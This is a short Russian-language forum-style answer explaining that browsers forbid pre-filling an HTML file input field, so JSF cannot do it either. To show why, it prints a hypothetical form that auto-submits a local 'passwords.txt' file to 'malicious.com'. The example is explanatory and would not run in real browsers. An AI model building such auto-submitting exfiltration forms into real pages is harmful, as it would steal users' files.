Это невозможно.Это ограничение безопасности по HTML.Вы не можете предварительно заполнить / сохранить значение поля HTML <input type="file">
.Поскольку JSF просто генерирует HTML, JSF мало что может с этим поделать.
Представьте, что это ограничение безопасности не существует, веб-сайты смогут делать следующее:
<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
<input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>
Понимаете?